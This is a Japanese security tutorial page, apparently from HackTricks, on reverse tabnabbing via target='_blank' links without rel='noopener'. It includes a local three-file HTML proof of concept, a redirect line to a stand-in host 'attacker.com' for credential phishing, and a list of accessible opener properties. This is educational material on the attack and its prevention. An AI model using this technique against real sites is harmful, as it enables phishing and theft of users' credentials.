4.8 KiB
{{#include ../banners/hacktricks-training.md}}
説明
攻撃者が**<aタグのhref引数を制御できる状況で、属性target="_blank" rel="opener"が設定されている場合、攻撃者はこのリンクを自分の制御下にあるウェブサイト(悪意のある****ウェブサイト)に向けることができます。被害者がリンクをクリックして攻撃者のウェブサイトにアクセスすると、この悪意のあるウェブサイトはwindow.openerというjavascriptオブジェクトを介して元のページを制御できるようになります。
ページにrel="opener"がないがtarget="_blank"が含まれていて、rel="noopener"**がない場合も脆弱性がある可能性があります。
この動作を悪用する一般的な方法は、window.opener.location = https://attacker.com/victim.htmlを使用して元のウェブの位置を攻撃者が制御するウェブに変更し、元のウェブサイトのログイン****フォームを模倣してユーザーに資格情報を要求することです。
ただし、攻撃者が元のウェブサイトのウィンドウオブジェクトを制御できるため、他の方法でより巧妙な攻撃を行うことも可能です(例えば、javascriptイベントを変更して彼が制御するサーバーに情報を流出させる?)
概要
バックリンクあり
防止属性が使用されていない場合の親ページと子ページのリンク:
バックリンクなし
防止属性が使用されている場合の親ページと子ページのリンク:
例
フォルダ内に次のページを作成し、python3 -m http.serverでウェブサーバーを実行します。
次に、アクセス http://127.0.0.1:8000/vulnerable.html、クリックしてリンクをクリックし、元の****ウェブサイトのURLが変更される様子を確認してください。
<!DOCTYPE html>
<html>
<body>
<h1>Victim Site</h1>
<a href="http://127.0.0.1:8000/malicious.html" target="_blank" rel="opener">Controlled by the attacker</a>
</body>
</html>
<!DOCTYPE html>
<html>
<body>
<script>
window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
</script>
</body>
</html>
<!DOCTYPE html>
<html>
<body>
<h1>New Malicious Site</h1>
</body>
</html>
Accessible properties
クロスオリジン アクセスが発生するシナリオでは、opener JavaScript オブジェクト参照によって参照される window JavaScript クラスインスタンスのプロパティは、悪意のあるサイトによってアクセスできるのは以下のものに制限されます:
opener.closed: このプロパティはウィンドウが閉じられたかどうかを判断するためにアクセスされ、ブール値を返します。opener.frames: このプロパティは現在のウィンドウ内のすべての iframe 要素へのアクセスを提供します。opener.length: 現在のウィンドウに存在する iframe 要素の数がこのプロパティによって返されます。opener.opener: このプロパティを通じて、現在のウィンドウを開いたウィンドウへの参照を取得できます。opener.parent: このプロパティは現在のウィンドウの親ウィンドウを返します。opener.self: このプロパティは現在のウィンドウ自体へのアクセスを提供します。opener.top: このプロパティは最上位のブラウザウィンドウを返します。
ただし、ドメインが同一の場合、悪意のあるサイトは window JavaScript オブジェクト参照によって公開されているすべてのプロパティにアクセスできます。
Prevention
予防情報は HTML5 Cheat Sheet に文書化されています。
References
{{#include ../banners/hacktricks-training.md}}

